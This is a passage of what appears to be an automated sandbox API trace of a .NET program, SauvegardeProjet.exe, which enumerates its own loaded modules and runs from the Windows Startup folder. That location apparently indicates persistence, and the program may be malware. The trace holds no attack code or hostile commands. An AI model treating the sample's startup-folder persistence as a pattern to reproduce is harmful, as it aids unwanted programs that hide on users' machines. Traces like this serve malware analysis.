[0236.365] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75be0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0236.365] CoTaskMemFree (pv=0x6682db0) [0236.365] GetModuleInformation (in: hProcess=0x288, hModule=0x73610000, lpmodinfo=0x2638af4, cb=0xc | out: lpmodinfo=0x2638af4*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0236.365] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.365] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73610000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0236.366] CoTaskMemFree (pv=0x6682db0) [0236.366] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.366] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73610000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0236.366] CoTaskMemFree (pv=0x6682db0) [0236.366] GetModuleInformation (in: hProcess=0x288, hModule=0x72f40000, lpmodinfo=0x263ac00, cb=0xc | out: lpmodinfo=0x263ac00*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0236.367] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.367] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x72f40000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0236.367] CoTaskMemFree (pv=0x6682db0) [0236.367] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.367] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x72f40000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0236.368] CoTaskMemFree (pv=0x6682db0) [0236.368] GetModuleInformation (in: hProcess=0x288, hModule=0x75540000, lpmodinfo=0x263cd30, cb=0xc | out: lpmodinfo=0x263cd30*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0236.368] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.368] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75540000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0236.368] CoTaskMemFree (pv=0x6682db0) [0236.368] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.368] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75540000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0236.369] CoTaskMemFree (pv=0x6682db0) [0236.369] GetModuleInformation (in: hProcess=0x288, hModule=0x74310000, lpmodinfo=0x263ee64, cb=0xc | out: lpmodinfo=0x263ee64*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0236.369] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.369] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x74310000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0236.370] CoTaskMemFree (pv=0x6682db0) [0236.370] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.370] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x74310000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0236.370] CoTaskMemFree (pv=0x6682db0) [0236.370] GetModuleInformation (in: hProcess=0x288, hModule=0x77060000, lpmodinfo=0x264100c, cb=0xc | out: lpmodinfo=0x264100c*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0236.371] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.371] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77060000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0236.371] CoTaskMemFree (pv=0x6682db0) [0236.371] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.371] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77060000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0236.372] CoTaskMemFree (pv=0x6682db0) [0236.372] GetModuleInformation (in: hProcess=0x288, hModule=0x73e60000, lpmodinfo=0x2643110, cb=0xc | out: lpmodinfo=0x2643110*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0236.372] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.372] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73e60000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0236.373] CoTaskMemFree (pv=0x6682db0) [0236.373] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.373] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73e60000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0236.373] CoTaskMemFree (pv=0x6682db0) [0236.373] GetModuleInformation (in: hProcess=0x288, hModule=0x72590000, lpmodinfo=0x264521c, cb=0xc | out: lpmodinfo=0x264521c*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0236.374] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.374] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x72590000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0236.374] CoTaskMemFree (pv=0x6682db0) [0236.374] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.374] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x72590000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0236.375] CoTaskMemFree (pv=0x6682db0) [0236.375] GetModuleInformation (in: hProcess=0x288, hModule=0x71e70000, lpmodinfo=0x26473b8, cb=0xc | out: lpmodinfo=0x26473b8*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0236.375] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.375] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71e70000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0236.376] CoTaskMemFree (pv=0x6682db0) [0236.376] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.376] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71e70000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0236.376] CoTaskMemFree (pv=0x6682db0) [0236.376] GetModuleInformation (in: hProcess=0x288, hModule=0x73c90000, lpmodinfo=0x2649574, cb=0xc | out: lpmodinfo=0x2649574*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0236.377] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.377] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73c90000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0236.377] CoTaskMemFree (pv=0x6682db0) [0236.377] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.377] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73c90000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0236.378] CoTaskMemFree (pv=0x6682db0) [0236.378] GetModuleInformation (in: hProcess=0x288, hModule=0x73f00000, lpmodinfo=0x264b768, cb=0xc | out: lpmodinfo=0x264b768*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0236.378] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.378] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73f00000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0236.379] CoTaskMemFree (pv=0x6682db0) [0236.379] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.379] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73f00000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0236.379] CoTaskMemFree (pv=0x6682db0) [0236.379] GetModuleInformation (in: hProcess=0x288, hModule=0x76e30000, lpmodinfo=0x264d8a8, cb=0xc | out: lpmodinfo=0x264d8a8*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0236.380] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.380] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x76e30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0236.380] CoTaskMemFree (pv=0x6682db0) [0236.381] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.381] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x76e30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0236.381] CoTaskMemFree (pv=0x6682db0) [0236.381] GetModuleInformation (in: hProcess=0x288, hModule=0x73b00000, lpmodinfo=0x264f9bc, cb=0xc | out: lpmodinfo=0x264f9bc*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0236.382] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.382] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73b00000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0236.382] CoTaskMemFree (pv=0x6682db0) [0236.382] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.382] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73b00000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0236.383] CoTaskMemFree (pv=0x6682db0) [0236.383] GetModuleInformation (in: hProcess=0x288, hModule=0x71210000, lpmodinfo=0x2651b88, cb=0xc | out: lpmodinfo=0x2651b88*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0236.383] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.383] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71210000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0236.384] CoTaskMemFree (pv=0x6682db0) [0236.384] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.384] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71210000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0236.384] CoTaskMemFree (pv=0x6682db0) [0236.385] GetModuleInformation (in: hProcess=0x288, hModule=0x73ee0000, lpmodinfo=0x2653d78, cb=0xc | out: lpmodinfo=0x2653d78*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0236.385] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.385] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73ee0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0236.386] CoTaskMemFree (pv=0x6682db0) [0236.386] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.386] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73ee0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0236.386] CoTaskMemFree (pv=0x6682db0) [0236.386] GetModuleInformation (in: hProcess=0x288, hModule=0x73ac0000, lpmodinfo=0x2655f90, cb=0xc | out: lpmodinfo=0x2655f90*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0236.387] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.387] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73ac0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0236.387] CoTaskMemFree (pv=0x6682db0) [0236.388] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.388] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73ac0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0236.388] CoTaskMemFree (pv=0x6682db0) [0236.388] GetModuleInformation (in: hProcess=0x288, hModule=0x73a30000, lpmodinfo=0x265809c, cb=0xc | out: lpmodinfo=0x265809c*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0236.389] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.389] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73a30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0236.389] CoTaskMemFree (pv=0x6682db0) [0236.389] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.389] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73a30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0236.390] CoTaskMemFree (pv=0x6682db0) [0236.390] GetModuleInformation (in: hProcess=0x288, hModule=0x73a10000, lpmodinfo=0x265a264, cb=0xc | out: lpmodinfo=0x265a264*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0236.391] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.391] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73a10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0236.391] CoTaskMemFree (pv=0x6682db0) [0236.391] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.391] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73a10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0236.392] CoTaskMemFree (pv=0x6682db0) [0236.392] GetModuleInformation (in: hProcess=0x288, hModule=0x73940000, lpmodinfo=0x265c3b4, cb=0xc | out: lpmodinfo=0x265c3b4*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0236.392] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.392] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73940000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0236.393] CoTaskMemFree (pv=0x6682db0) [0236.393] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.393] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73940000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0236.394] CoTaskMemFree (pv=0x6682db0) [0236.394] GetModuleInformation (in: hProcess=0x288, hModule=0x71080000, lpmodinfo=0x265e5b0, cb=0xc | out: lpmodinfo=0x265e5b0*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0236.394] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.394] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71080000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0236.395] CoTaskMemFree (pv=0x6682db0) [0236.395] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.395] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71080000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0236.396] CoTaskMemFree (pv=0x6682db0) [0236.396] GetModuleInformation (in: hProcess=0x288, hModule=0x70ee0000, lpmodinfo=0x2660760, cb=0xc | out: lpmodinfo=0x2660760*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0236.396] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.396] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x70ee0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0236.397] CoTaskMemFree (pv=0x6682db0) [0236.397] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.397] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x70ee0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0236.398] CoTaskMemFree (pv=0x6682db0) [0236.398] GetModuleInformation (in: hProcess=0x288, hModule=0x735f0000, lpmodinfo=0x2662928, cb=0xc | out: lpmodinfo=0x2662928*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0236.398] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.398] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x735f0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0236.399] CoTaskMemFree (pv=0x6682db0) [0236.399] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.399] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x735f0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0236.400] CoTaskMemFree (pv=0x6682db0) [0236.400] GetModuleInformation (in: hProcess=0x288, hModule=0x75b40000, lpmodinfo=0x2664a34, cb=0xc | out: lpmodinfo=0x2664a34*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0236.400] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.400] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75b40000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0236.401] CoTaskMemFree (pv=0x6682db0) [0236.401] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.401] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75b40000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0236.402] CoTaskMemFree (pv=0x6682db0) [0236.402] GetModuleInformation (in: hProcess=0x288, hModule=0x70de0000, lpmodinfo=0x2666b40, cb=0xc | out: lpmodinfo=0x2666b40*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0236.403] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.403] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x70de0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0236.403] CoTaskMemFree (pv=0x6682db0) [0236.403] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.403] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x70de0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0236.404] CoTaskMemFree (pv=0x6682db0) [0236.404] GetModuleInformation (in: hProcess=0x288, hModule=0x77ae0000, lpmodinfo=0x2668c64, cb=0xc | out: lpmodinfo=0x2668c64*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0236.405] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.405] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77ae0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0236.405] CoTaskMemFree (pv=0x6682db0) [0236.405] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.405] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77ae0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0236.406] CoTaskMemFree (pv=0x6682db0) [0236.406] CloseHandle (hObject=0x288) returned 1 [0236.483] GetCurrentProcessId () returned 0x55c [0236.483] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x55c) returned 0x288 [0236.483] EnumProcessModules (in: hProcess=0x288, lphModule=0x26a97ec, cb=0x100, lpcbNeeded=0x540d1c0 | out: lphModule=0x26a97ec, lpcbNeeded=0x540d1c0) returned 1 [0236.484] GetModuleInformation (in: hProcess=0x288, hModule=0xfe0000, lpmodinfo=0x26a992c, cb=0xc | out: lpmodinfo=0x26a992c*(lpBaseOfDll=0xfe0000, SizeOfImage=0x9c000, EntryPoint=0x1076c3e)) returned 1 [0236.484] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.484] GetModuleBaseNameW (in: hProcess=0x288, hModule=0xfe0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0236.484] CoTaskMemFree (pv=0x6682db0) [0236.484] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.484] GetModuleFileNameExW (in: hProcess=0x288, hModule=0xfe0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x51 [0236.485] CoTaskMemFree (pv=0x6682db0) [0236.485] GetModuleInformation (in: hProcess=0x288, hModule=0x77b10000, lpmodinfo=0x26abacc, cb=0xc | out: lpmodinfo=0x26abacc*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0236.485] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.485] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77b10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0236.485] CoTaskMemFree (pv=0x6682db0) [0236.485] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.485] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77b10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0236.485] CoTaskMemFree (pv=0x6682db0) [0236.485] GetModuleInformation (in: hProcess=0x288, hModule=0x736a0000, lpmodinfo=0x26adbd0, cb=0xc | out: lpmodinfo=0x26adbd0*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0236.485] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.485] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x736a0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0236.485] CoTaskMemFree (pv=0x6682db0) [0236.485] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.486] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x736a0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0236.486] CoTaskMemFree (pv=0x6682db0) [0236.486] GetModuleInformation (in: hProcess=0x288, hModule=0x77540000, lpmodinfo=0x26afcdc, cb=0xc | out: lpmodinfo=0x26afcdc*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0236.486] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.486] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77540000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0236.486] CoTaskMemFree (pv=0x6682db0) [0236.486] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.486] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77540000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0236.486] CoTaskMemFree (pv=0x6682db0) [0236.486] GetModuleInformation (in: hProcess=0x288, hModule=0x75990000, lpmodinfo=0x26b1df0, cb=0xc | out: lpmodinfo=0x26b1df0*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0236.486] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.486] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75990000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0236.487] CoTaskMemFree (pv=0x6682db0) [0236.487] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.487] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75990000, lpFilename=0x6682db0, 